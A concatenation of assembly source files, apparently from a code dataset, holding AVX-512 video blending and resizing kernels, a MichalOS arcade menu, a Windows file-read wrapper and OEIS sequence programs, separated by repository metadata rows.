paddw m8, m2
paddw m9, m3
mova m2, m14
vpdpwssd m2, m11, m8
mova m3, m14
vpdpwssd m3, m11, m9
vpermt2b m2, m15, m3
mova [dstq+strideq*1+64*0], m0
mova [dstq+strideq*1+64*1], m1
mova [maskq], ym2
sub hd, 2
jg .w64_loop
RET
.w128_loop:
call .main
lea dstq, [dstq+strideq*2]
add maskq, 64
.w128:
mova m16, m2
mova m8, m3
mova [dstq+strideq*0+64*0], m0
mova [dstq+strideq*0+64*1], m1
call .main
mova m17, m2
mova m9, m3
mova [dstq+strideq*0+64*2], m0
mova [dstq+strideq*0+64*3], m1
call .main
paddw m2, m16
paddw m3, m8
mova m16, m14
vpdpwssd m16, m11, m2
mova m8, m14
vpdpwssd m8, m11, m3
mova [dstq+strideq*1+64*0], m0
mova [dstq+strideq*1+64*1], m1
call .main
paddw m2, m17
paddw m3, m9
mova m17, m14
vpdpwssd m17, m11, m2
mova m9, m14
vpdpwssd m9, m11, m3
vpermt2b m16, m15, m8
vpermt2b m17, m15, m9
mova [dstq+strideq*1+64*2], m0
mova [dstq+strideq*1+64*3], m1
mova [maskq+32*0], ym16
mova [maskq+32*1], ym17
sub hd, 2
jg .w128_loop
vzeroupper
RET
ALIGN function_align
.main:
mova m1, [tmp1q+64*0]
mova m3, [tmp2q+64*0]
mova m4, [tmp1q+64*1]
mova m7, [tmp2q+64*1]
add tmp1q, 64*2
add tmp2q, 64*2
psubsw m6, m1, m3
punpcklwd m5, m3, m1
pabsw m6, m6
punpckhwd m3, m1
psubusw m6, m10, m6
psrlw m6, 10 ; 64-m
psubw m2, m11, m6 ; m
punpcklwd m1, m6, m2
punpckhwd m6, m2
mova m0, m12
vpdpwssd m0, m5, m1
mova m1, m12
vpdpwssd m1, m3, m6
psubsw m5, m4, m7
punpcklwd m6, m7, m4
pabsw m5, m5
punpckhwd m7, m4
psubusw m5, m10, m5
psrlw m5, 10
psubw m3, m11, m5
punpcklwd m4, m5, m3
psrad m0, 4
punpckhwd m5, m3
psrad m1, 4
packusdw m0, m1
mova m1, m12
vpdpwssd m1, m6, m4
mova m4, m12
vpdpwssd m4, m7, m5
psrad m1, 4
psrad m4, 4
packusdw m1, m4
vpsrlvw m0, m13
vpsrlvw m1, m13
ret
cglobal w_mask_422_16bpc, 4, 8, 15, dst, stride, tmp1, tmp2, w, h, mask, stride3
%define base r7-w_mask_422_avx512icl_table
lea r7, [w_mask_422_avx512icl_table]
tzcnt wd, wm
mov r6d, r8m ; pixel_max
movifnidn hd, hm
shr r6d, 11
movsxd wq, [r7+wq*4]
vpbroadcastd m8, [base+pw_27615] ; ((64 - 38) << 10) + 1023 - 32
vpbroadcastd m9, [base+pw_64]
vpbroadcastd m10, [base+mask_round+r6*4]
vpbroadcastd m11, [base+bidir_shift+r6*4]
mov r6d, r7m ; sign
vpbroadcastd m12, [base+w_mask_round+r6*4]
mova ym13, [w_mask_end42x]
mov maskq, maskmp
add wq, r7
paddw m14, m9, m9 ; pw_128
call .main
lea stride3q, [strideq*3]
jmp wq
.w4:
movq [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xm0
vextracti32x4 xmm0, ym0, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
cmp hd, 8
jl .w4_end
vextracti32x4 xmm0, m0, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m0, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
je .w4_end
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xm1
movhps [dstq+strideq*1], xm1
vextracti32x4 xmm0, ym1, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
vextracti32x4 xmm0, m1, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m1, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
.w4_end:
RET
.w8_loop:
call .main
lea dstq, [dstq+strideq*4]
.w8:
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
sub hd, 8
jl .w8_end
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], xm1
vextracti32x4 [dstq+strideq*1], ym1, 1
vextracti32x4 [dstq+strideq*2], m1, 2
vextracti32x4 [dstq+stride3q ], m1, 3
jg .w8_loop
.w8_end:
RET
.w16_loop:
call .main
lea dstq, [dstq+strideq*4]
.w16:
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
sub hd, 4
jg .w16_loop
RET
.w32_loop:
call .main
lea dstq, [dstq+strideq*2]
.w32:
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
sub hd, 2
jg .w32_loop
RET
.w64_loop:
call .main
add dstq, strideq
.w64:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
dec hd
jg .w64_loop
RET
.w128_loop:
call .main
add dstq, strideq
.w128:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
call .main
mova [dstq+64*2], m0
mova [dstq+64*3], m1
dec hd
jg .w128_loop
RET
ALIGN function_align
.main:
mova m1, [tmp1q+64*0]
mova m3, [tmp2q+64*0]
mova m4, [tmp1q+64*1]
mova m7, [tmp2q+64*1]
add tmp1q, 64*2
add tmp2q, 64*2
psubsw m6, m1, m3
punpcklwd m5, m3, m1
pabsw m6, m6
punpckhwd m3, m1
psubusw m6, m8, m6
psrlw m6, 10
psubw m2, m9, m6
punpcklwd m1, m6, m2
punpckhwd m6, m2
mova m0, m10
vpdpwssd m0, m5, m1
mova m1, m10
vpdpwssd m1, m3, m6
psubsw m5, m4, m7
punpcklwd m6, m7, m4
pabsw m5, m5
punpckhwd m7, m4
psubusw m5, m8, m5
psrlw m5, 10
psubw m3, m9, m5
punpcklwd m4, m5, m3
psrad m0, 4
punpckhwd m5, m3
psrad m1, 4
packusdw m0, m1
mova m1, m10
vpdpwssd m1, m6, m4
mova m4, m10
vpdpwssd m4, m7, m5
mova m5, m12
vpdpwssd m5, m14, m2
mova m2, m12
vpdpwssd m2, m14, m3
psrad m1, 4
psrad m4, 4
packusdw m1, m4
vpermt2b m5, m13, m2
vpsrlvw m0, m11
vpsrlvw m1, m11
mova [maskq], ym5
add maskq, 32
ret
cglobal w_mask_444_16bpc, 4, 8, 13, dst, stride, tmp1, tmp2, w, h, mask, stride3
%define base r7-w_mask_444_avx512icl_table
lea r7, [w_mask_444_avx512icl_table]
tzcnt wd, wm
mov r6d, r8m ; pixel_max
movifnidn hd, hm
shr r6d, 11
movsxd wq, [r7+wq*4]
vpbroadcastd m8, [base+pw_27615] ; ((64 - 38) << 10) + 1023 - 32
vpbroadcastd m9, [base+pw_64]
vpbroadcastd m10, [base+mask_round+r6*4]
mova m11, [w_mask_end444]
vpbroadcastd m12, [base+bidir_shift+r6*4]
mov maskq, maskmp
add wq, r7
call .main
lea stride3q, [strideq*3]
jmp wq
.w4:
movq [dstq+strideq*0], xm0
movhps [dstq+strideq*1], xm0
vextracti32x4 xmm0, ym0, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
cmp hd, 8
jl .w4_end
vextracti32x4 xmm0, m0, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m0, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
je .w4_end
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xm1
movhps [dstq+strideq*1], xm1
vextracti32x4 xmm0, ym1, 1
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
vextracti32x4 xmm0, m1, 2
lea dstq, [dstq+strideq*4]
movq [dstq+strideq*0], xmm0
movhps [dstq+strideq*1], xmm0
vextracti32x4 xmm0, m1, 3
movq [dstq+strideq*2], xmm0
movhps [dstq+stride3q ], xmm0
.w4_end:
RET
.w8_loop:
call .main
lea dstq, [dstq+strideq*4]
.w8:
mova [dstq+strideq*0], xm0
vextracti32x4 [dstq+strideq*1], ym0, 1
vextracti32x4 [dstq+strideq*2], m0, 2
vextracti32x4 [dstq+stride3q ], m0, 3
sub hd, 8
jl .w8_end
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], xm1
vextracti32x4 [dstq+strideq*1], ym1, 1
vextracti32x4 [dstq+strideq*2], m1, 2
vextracti32x4 [dstq+stride3q ], m1, 3
jg .w8_loop
.w8_end:
RET
.w16_loop:
call .main
lea dstq, [dstq+strideq*4]
.w16:
mova [dstq+strideq*0], ym0
vextracti32x8 [dstq+strideq*1], m0, 1
mova [dstq+strideq*2], ym1
vextracti32x8 [dstq+stride3q ], m1, 1
sub hd, 4
jg .w16_loop
RET
.w32_loop:
call .main
lea dstq, [dstq+strideq*2]
.w32:
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
sub hd, 2
jg .w32_loop
RET
.w64_loop:
call .main
add dstq, strideq
.w64:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
dec hd
jg .w64_loop
RET
.w128_loop:
call .main
add dstq, strideq
.w128:
mova [dstq+64*0], m0
mova [dstq+64*1], m1
call .main
mova [dstq+64*2], m0
mova [dstq+64*3], m1
dec hd
jg .w128_loop
RET
ALIGN function_align
.main:
mova m1, [tmp1q+64*0]
mova m3, [tmp2q+64*0]
mova m4, [tmp1q+64*1]
mova m7, [tmp2q+64*1]
add tmp1q, 64*2
add tmp2q, 64*2
psubsw m6, m1, m3
punpcklwd m5, m3, m1
pabsw m6, m6
punpckhwd m3, m1
psubusw m6, m8, m6
psrlw m6, 10
psubw m2, m9, m6
punpcklwd m1, m6, m2
punpckhwd m6, m2
mova m0, m10
vpdpwssd m0, m5, m1
mova m1, m10
vpdpwssd m1, m3, m6
psubsw m5, m4, m7
punpcklwd m6, m7, m4
pabsw m5, m5
punpckhwd m7, m4
psubusw m5, m8, m5
psrlw m5, 10
psubw m3, m9, m5
punpcklwd m4, m5, m3
psrad m0, 4
punpckhwd m5, m3
psrad m1, 4
packusdw m0, m1
mova m1, m10
vpdpwssd m1, m6, m4
mova m4, m10
vpdpwssd m4, m7, m5
vpermt2b m2, m11, m3
psrad m1, 4
psrad m4, 4
packusdw m1, m4
vpsrlvw m0, m12
vpsrlvw m1, m12
mova [maskq], m2
add maskq, 64
ret
cglobal blend_16bpc, 3, 7, 7, dst, ds, tmp, w, h, mask
%define base r6-blend_avx512icl_table
lea r6, [blend_avx512icl_table]
tzcnt wd, wm
movifnidn hd, hm
movsxd wq, [r6+wq*4]
movifnidn maskq, maskmp
vpbroadcastd m6, [base+pw_m512]
add wq, r6
lea r6, [dsq*3]
jmp wq
.w4:
pmovzxbw ym19, [maskq]
movq xm16, [dstq+dsq*0]
movhps xm16, [dstq+dsq*1]
vpbroadcastq ym17, [dstq+dsq*2]
vpbroadcastq ym18, [dstq+r6 ]
pmullw ym19, ym6
vpblendd ym16, ym17, 0x30
vpblendd ym16, ym18, 0xc0
psubw ym17, ym16, [tmpq]
add maskq, 16
add tmpq, 32
pmulhrsw ym17, ym19
paddw ym16, ym17
vextracti128 xm17, ym16, 1
movq [dstq+dsq*0], xm16
movhps [dstq+dsq*1], xm16
movq [dstq+dsq*2], xm17
movhps [dstq+r6 ], xm17
lea dstq, [dstq+dsq*4]
sub hd, 4
jg .w4
vzeroupper
RET
.w8:
pmovzxbw m2, [maskq]
mova xm0, [dstq+dsq*0]
vinserti32x4 ym0, [dstq+dsq*1], 1
vinserti32x4 m0, [dstq+dsq*2], 2
vinserti32x4 m0, [dstq+r6 ], 3
pmullw m2, m6
psubw m1, m0, [tmpq]
add maskq, 32
add tmpq, 64
pmulhrsw m1, m2
paddw m0, m1
mova [dstq+dsq*0], xm0
vextracti32x4 [dstq+dsq*1], ym0, 1
vextracti32x4 [dstq+dsq*2], m0, 2
vextracti32x4 [dstq+r6 ], m0, 3
lea dstq, [dstq+dsq*4]
sub hd, 4
jg .w8
RET
.w16:
pmovzxbw m4, [maskq+32*0]
pmovzxbw m5, [maskq+32*1]
mova ym0, [dstq+dsq*0]
vinserti32x8 m0, [dstq+dsq*1], 1
mova ym1, [dstq+dsq*2]
vinserti32x8 m1, [dstq+r6 ], 1
pmullw m4, m6
pmullw m5, m6
psubw m2, m0, [tmpq+64*0]
psubw m3, m1, [tmpq+64*1]
add maskq, 32*2
add tmpq, 64*2
pmulhrsw m2, m4
pmulhrsw m3, m5
paddw m0, m2
paddw m1, m3
mova [dstq+dsq*0], ym0
vextracti32x8 [dstq+dsq*1], m0, 1
mova [dstq+dsq*2], ym1
vextracti32x8 [dstq+r6 ], m1, 1
lea dstq, [dstq+dsq*4]
sub hd, 4
jg .w16
RET
.w32:
pmovzxbw m4, [maskq+32*0]
pmovzxbw m5, [maskq+32*1]
mova m0, [dstq+dsq*0]
mova m1, [dstq+dsq*1]
pmullw m4, m6
pmullw m5, m6
psubw m2, m0, [tmpq+ 64*0]
psubw m3, m1, [tmpq+ 64*1]
add maskq, 32*2
add tmpq, 64*2
pmulhrsw m2, m4
pmulhrsw m3, m5
paddw m0, m2
paddw m1, m3
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w32
RET
cglobal blend_v_16bpc, 3, 6, 5, dst, ds, tmp, w, h
lea r5, [blend_v_avx512icl_table]
tzcnt wd, wm
movifnidn hd, hm
movsxd wq, [r5+wq*4]
add wq, r5
jmp wq
.w2:
vpbroadcastd xmm2, [obmc_masks_avx2+2*2]
.w2_loop:
movd xmm0, [dstq+dsq*0]
pinsrd xmm0, [dstq+dsq*1], 1
movq xmm1, [tmpq]
add tmpq, 4*2
psubw xmm1, xmm0, xmm1
pmulhrsw xmm1, xmm2
paddw xmm0, xmm1
movd [dstq+dsq*0], xmm0
pextrd [dstq+dsq*1], xmm0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w2_loop
RET
.w4:
vpbroadcastq xmm2, [obmc_masks_avx2+4*2]
.w4_loop:
movq xmm0, [dstq+dsq*0]
movhps xmm0, [dstq+dsq*1]
psubw xmm1, xmm0, [tmpq]
add tmpq, 8*2
pmulhrsw xmm1, xmm2
paddw xmm0, xmm1
movq [dstq+dsq*0], xmm0
movhps [dstq+dsq*1], xmm0
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w4_loop
RET
.w8:
vbroadcasti32x4 ym2, [obmc_masks_avx2+8*2]
.w8_loop:
mova xm0, [dstq+dsq*0]
vinserti32x4 ym0, [dstq+dsq*1], 1
psubw ym1, ym0, [tmpq]
add tmpq, 16*2
pmulhrsw ym1, ym2
paddw ym0, ym1
mova [dstq+dsq*0], xm0
vextracti32x4 [dstq+dsq*1], ym0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w8_loop
RET
.w16:
vbroadcasti32x8 m2, [obmc_masks_avx2+16*2]
.w16_loop:
mova ym0, [dstq+dsq*0]
vinserti32x8 m0, [dstq+dsq*1], 1
psubw m1, m0, [tmpq]
add tmpq, 32*2
pmulhrsw m1, m2
paddw m0, m1
mova [dstq+dsq*0], ym0
vextracti32x8 [dstq+dsq*1], m0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w16_loop
RET
.w32:
mova m4, [obmc_masks_avx2+32*2]
.w32_loop:
mova m0, [dstq+dsq*0]
psubw m2, m0, [tmpq+ 64*0]
mova m1, [dstq+dsq*1]
psubw m3, m1, [tmpq+ 64*1]
add tmpq, 64*2
pmulhrsw m2, m4
pmulhrsw m3, m4
paddw m0, m2
paddw m1, m3
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .w32_loop
RET
cglobal blend_h_16bpc, 3, 7, 9, dst, ds, tmp, w, h, mask
%define base r6-$$
lea r6, [$$]
tzcnt wd, wm
mov hd, hm
movsxd wq, [base+blend_h_avx512icl_table+wq*4]
lea maskq, [base+obmc_masks_avx2+hq*2]
lea hd, [hq*3]
lea wq, [base+blend_h_avx512icl_table+wq]
shr hd, 2 ; h * 3/4
lea maskq, [maskq+hq*2]
neg hq
jmp wq
.w2:
movd xmm0, [dstq+dsq*0]
pinsrd xmm0, [dstq+dsq*1], 1
movd xmm2, [maskq+hq*2]
movq xmm1, [tmpq]
add tmpq, 4*2
punpcklwd xmm2, xmm2
psubw xmm1, xmm0, xmm1
pmulhrsw xmm1, xmm2
paddw xmm0, xmm1
movd [dstq+dsq*0], xmm0
pextrd [dstq+dsq*1], xmm0, 1
lea dstq, [dstq+dsq*2]
add hq, 2
jl .w2
RET
.w4:
mova xmm3, [blend_shuf]
.w4_loop:
movq xmm0, [dstq+dsq*0]
movhps xmm0, [dstq+dsq*1]
movd xmm2, [maskq+hq*2]
psubw xmm1, xmm0, [tmpq]
add tmpq, 8*2
pshufb xmm2, xmm3
pmulhrsw xmm1, xmm2
paddw xmm0, xmm1
movq [dstq+dsq*0], xmm0
movhps [dstq+dsq*1], xmm0
lea dstq, [dstq+dsq*2]
add hq, 2
jl .w4_loop
RET
.w8:
vbroadcasti32x4 ym3, [blend_shuf]
shufpd ym3, ym3, 0x0c
.w8_loop:
mova xm0, [dstq+dsq*0]
vinserti32x4 ym0, [dstq+dsq*1], 1
vpbroadcastd ym2, [maskq+hq*2]
psubw ym1, ym0, [tmpq]
add tmpq, 16*2
pshufb ym2, ym3
pmulhrsw ym1, ym2
paddw ym0, ym1
mova [dstq+dsq*0], xm0
vextracti32x4 [dstq+dsq*1], ym0, 1
lea dstq, [dstq+dsq*2]
add hq, 2
jl .w8_loop
RET
.w16:
vbroadcasti32x4 m3, [blend_shuf]
shufpd m3, m3, 0xf0
.w16_loop:
mova ym0, [dstq+dsq*0]
vinserti32x8 m0, [dstq+dsq*1], 1
vpbroadcastd m2, [maskq+hq*2]
psubw m1, m0, [tmpq]
add tmpq, 32*2
pshufb m2, m3
pmulhrsw m1, m2
paddw m0, m1
mova [dstq+dsq*0], ym0
vextracti32x8 [dstq+dsq*1], m0, 1
lea dstq, [dstq+dsq*2]
add hq, 2
jl .w16_loop
RET
.w32:
vpbroadcastw m4, [maskq+hq*2]
vpbroadcastw m5, [maskq+hq*2+2]
mova m0, [dstq+dsq*0]
psubw m2, m0, [tmpq+ 64*0]
mova m1, [dstq+dsq*1]
psubw m3, m1, [tmpq+ 64*1]
add tmpq, 64*2
pmulhrsw m2, m4
pmulhrsw m3, m5
paddw m0, m2
paddw m1, m3
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
add hq, 2
jl .w32
RET
.w64:
vpbroadcastw m4, [maskq+hq*2]
mova m0, [dstq+64*0]
psubw m2, m0, [tmpq+64*0]
mova m1, [dstq+64*1]
psubw m3, m1, [tmpq+64*1]
add tmpq, 64*2
pmulhrsw m2, m4
pmulhrsw m3, m4
paddw m0, m2
paddw m1, m3
mova [dstq+64*0], m0
mova [dstq+64*1], m1
add dstq, dsq
inc hq
jl .w64
RET
.w128:
vpbroadcastw m8, [maskq+hq*2]
mova m0, [dstq+64*0]
psubw m4, m0, [tmpq+64*0]
mova m1, [dstq+64*1]
psubw m5, m1, [tmpq+64*1]
mova m2, [dstq+64*2]
psubw m6, m2, [tmpq+64*2]
mova m3, [dstq+64*3]
psubw m7, m3, [tmpq+64*3]
add tmpq, 64*4
REPX {pmulhrsw x, m8}, m4, m5, m6, m7
paddw m0, m4
paddw m1, m5
paddw m2, m6
paddw m3, m7
mova [dstq+64*0], m0
mova [dstq+64*1], m1
mova [dstq+64*2], m2
mova [dstq+64*3], m3
add dstq, dsq
inc hq
jl .w128
RET
cglobal resize_16bpc, 6, 12, 32, dst, dst_stride, src, src_stride, \
dst_w, h, src_w, dx, mx0, pxmax
sub dword mx0m, 4<<14
sub dword src_wm, 8
mov r6, ~0
vpbroadcastd m5, dxm
vpbroadcastd m8, mx0m
vpbroadcastd m6, src_wm
kmovq k6, r6
DEFINE_ARGS dst, dst_stride, src, src_stride, dst_w, h, x, _, _, pxmax
LEA r7, $$
%define base r7-$$
vpbroadcastd m3, [base+pd_16384]
vpbroadcastd m7, [base+pd_63]
mova m24, [base+resize_permA]
mova m25, [base+resize_permB]
mova m26, [base+resize_permC]
mova m27, [base+resize_permD]
vbroadcasti32x4 m28, [base+resize_shufA]
vbroadcasti32x4 m29, [base+resize_shufB]
mova m30, [base+resize_permE]
vpbroadcastw ym31, pxmaxm
vpdpwssd m8, m5, [base+rescale_mul] ; mx+dx*[0-15]
pslld m5, 4 ; dx*16
pslld m6, 14
pxor m2, m2
.loop_y:
xor xd, xd
mova m4, m8 ; per-line working version of mx
.loop_x:
pmaxsd m0, m4, m2
psrad m9, m4, 8 ; filter offset (unmasked)
pminsd m0, m6 ; iclip(mx, 0, src_w-8)
psubd m1, m4, m0 ; pshufb offset
psrad m0, 14 ; clipped src_x offset
psrad m1, 14 ; pshufb edge_emu offset
vptestmd k5, m1, m1
pand m9, m7 ; filter offset (masked)
ktestw k5, k5
jz .load
vpbroadcastq m14, [base+pd_0_4]
vpermq m10, m0, q1100
vpermq m11, m0, q3322
vpermq m20, m1, q1100
vpermq m21, m1, q3322
punpckldq m10, m10
punpckldq m11, m11
punpckldq m20, m20
punpckldq m21, m21
paddd m10, m14
paddd m11, m14
paddd m20, m14
paddd m21, m14
vextracti32x8 ym12, m10, 1
vextracti32x8 ym13, m11, 1
vextracti32x8 ym22, m20, 1
vextracti32x8 ym23, m21, 1
kmovq k1, k6
kmovq k2, k6
kmovq k3, k6
kmovq k4, k6
vpgatherdq m16{k1}, [srcq+ym10*2] ; 0 1 2 3
vpgatherdq m17{k2}, [srcq+ym11*2] ; 4 5 6 7
vpgatherdq m18{k3}, [srcq+ym12*2] ; 8 9 A B
vpgatherdq m19{k4}, [srcq+ym13*2] ; C D E F
kmovq k1, k6
kmovq k2, k6
kmovq k3, k6
kmovq k4, k6
vpgatherdq m0{k1}, [base+resize_shuf+8+ym20*2]
vpgatherdq m1{k2}, [base+resize_shuf+8+ym21*2]
vpgatherdq m14{k3}, [base+resize_shuf+8+ym22*2]
vpgatherdq m15{k4}, [base+resize_shuf+8+ym23*2]
pshufb m16, m0
pshufb m17, m1
pshufb m18, m14
pshufb m19, m15
mova m20, m24
mova m22, m24
mova m21, m25
mova m23, m25
vpermi2d m20, m16, m17 ; 0-3a 0-3b 4-7a 4-7b
vpermi2d m21, m16, m17 ; 0-3c 0-3d 4-7c 4-7d
vpermi2d m22, m18, m19 ; 8-Ba 8-Bb C-Fa C-Fb
vpermi2d m23, m18, m19 ; 8-Bc 8-Bd C-Fc C-Fd
mova m15, m26
mova m17, m26
mova m16, m27
mova m18, m27
vpermi2q m15, m20, m22 ; 0-3a 4-7a 8-Ba C-Fa
vpermi2q m16, m20, m22 ; 0-3b 4-7b 8-Bb C-Fb
vpermi2q m17, m21, m23 ; 0-3c 4-7c 8-Bc C-Fc
vpermi2q m18, m21, m23 ; 0-3d 4-7d 8-Bd C-Fd
kmovq k1, k6
kmovq k2, k6
vpgatherdd m11{k1}, [base+resize_filter+m9*8+0]
vpgatherdd m13{k2}, [base+resize_filter+m9*8+4]
pshufb m10, m11, m28
pshufb m11, m11, m29
pshufb m12, m13, m28
pshufb m13, m13, m29
jmp .filter
.load:
kmovq k1, k6
kmovq k2, k6
kmovq k3, k6
kmovq k4, k6
vpgatherdd m11{k1}, [base+resize_filter+m9*8+0]
vpgatherdd m13{k2}, [base+resize_filter+m9*8+4]
pshufb m10, m11, m28
pshufb m11, m11, m29
pshufb m12, m13, m28
pshufb m13, m13, m29
vpgatherdd m15{k3}, [srcq+m0*2+ 0]
vpgatherdd m16{k4}, [srcq+m0*2+ 4]
kmovq k1, k6
kmovq k2, k6
vpgatherdd m17{k1}, [srcq+m0*2+ 8]
vpgatherdd m18{k2}, [srcq+m0*2+12]
.filter:
mova m14, m2
vpdpwssd m14, m15, m10
vpdpwssd m14, m16, m11
vpdpwssd m14, m17, m12
vpdpwssd m14, m18, m13
psubd m14, m3, m14
psrad m14, 15
packusdw m14, m14
vpermq m14, m30, m14
pminsw ym14, ym31
mova [dstq+xq*2], ym14
paddd m4, m5
add xd, 16
cmp xd, dst_wd
jl .loop_x
add dstq, dst_strideq
add srcq, src_strideq
dec hd
jg .loop_y
RET
%endif ; ARCH_X86_64
| 35.909652 | 82 | 0.423521 |
f884922234356f3120e390e3e427cf026c543513 | 582 | asm | Assembly | programs/arcade.asm | mikebdp2/MichalOS | f0a8817fca9a912a8628c2400aaf940f794ce5f9 | [
"BSD-3-Clause"
] | 14 | 2021-04-23T15:31:04.000Z | 2022-03-16T01:18:22.000Z | programs/arcade.asm | mikebdp2/MichalOS | f0a8817fca9a912a8628c2400aaf940f794ce5f9 | [
"BSD-3-Clause"
] | 4 | 2021-03-30T15:51:42.000Z | 2021-12-31T22:55:22.000Z | programs/arcade.asm | mikebdp2/MichalOS | f0a8817fca9a912a8628c2400aaf940f794ce5f9 | [
"BSD-3-Clause"
] | 3 | 2021-03-30T13:47:02.000Z | 2021-11-07T02:53:02.000Z | ; ------------------------------------------------------------------
; MichalOS Arcade
; ------------------------------------------------------------------
%INCLUDE "michalos.inc"
start:
mov ax, .gamelist
mov bx, .help_msg1
mov cx, .help_msg2
mov si, .callback
call os_list_dialog_tooltip
shl ax, 1
mov bx, ax
mov byte [0082h], 1
call [.bootlist - 2 + bx]
.dummy:
ret
.callback:
ret
.gamelist db "Donkey,Exit", 0
.help_msg1 db "Please select a game:" ; No need to zero-terminate here
.help_msg2 db 0
.bootlist dw donkey, .dummy
%include "arcade/donkey.asm" | 18.1875 | 71 | 0.525773 |
ac0d6e7d624fc85c76b0f251d5e664ae56098d40 | 571 | asm | Assembly | F0xC_WIN/include/file/readFile.asm | Pusty/F0xC | 946be39e872d9f1119cf04290cb7aa3aac39a9bc | [
"BSL-1.0"
] | null | null | null | F0xC_WIN/include/file/readFile.asm | Pusty/F0xC | 946be39e872d9f1119cf04290cb7aa3aac39a9bc | [
"BSL-1.0"
] | null | null | null | F0xC_WIN/include/file/readFile.asm | Pusty/F0xC | 946be39e872d9f1119cf04290cb7aa3aac39a9bc | [
"BSL-1.0"
] | null | null | null | %ifndef READ_FILE
%define READ_FILE
%ifndef _READFILE
extern _ReadFile@20
%endif
;3 args (int fileHandle, int bufferAddr, int bufferLen)
;returns the handle
;example push handle push buffer push 1024 call readFile
;_ReadFile@20 in kernel32
;std_addr = ADDR TEMP STORAGE
;str_tmp = 16 byte reserved
;std_handle = STD OUTPUT HANDLE
readFile:
pop dword [std_addr]
pop edx
pop ecx
pop ebx
mov [ecx], edx
add ecx, 4
push dword 0
push std_read
push edx ;READ SIZE
push ecx ;BUFFER ADDRESS
push ebx
call _ReadFile@20
push dword [std_addr]
ret
%endif | 17.30303 | 57 | 0.744308 |
b2a29844e54dfdf184864a982a6d371d51a5b5bc | 795 | asm | Assembly | programs/oeis/024/A024122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/024/A024122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/024/A024122.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A024122: a(n) = 10^n - n^8.
; 1,9,-156,-5561,-55536,-290625,-679616,4235199,83222784,956953279,9900000000,99785641119,999570018304,9999184269279,99998524210944,999997437109375,9999995705032704,99999993024242559,999999988980039424,9999999983016436959,99999999974400000000,999999999962177140639,9999999999945124126464,99999999999921689014719,999999999999889924685824,9999999999999847412109375,99999999999999791172935424,999999999999999717570463519,9999999999999999622198001664,99999999999999999499753587039,999999999999999999343900000000,9999999999999999999147108962559,99999999999999999998900488372224,999999999999999999998593591381759,9999999999999999999998214206095104,99999999999999999999997748124609375,999999999999999999999997178890092544
mov $1,10
pow $1,$0
pow $0,8
sub $1,$0
mov $0,$1
| 88.333333 | 714 | 0.89434 |
aa8e4ee57ec8fa18a432515891d6a86b4c2d8112 | 543 | asm | Assembly | oeis/172/A172431.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/172/A172431.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/172/A172431.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A172431: Even row Pascal-square read by antidiagonals.
; Submitted by Jon Maiga
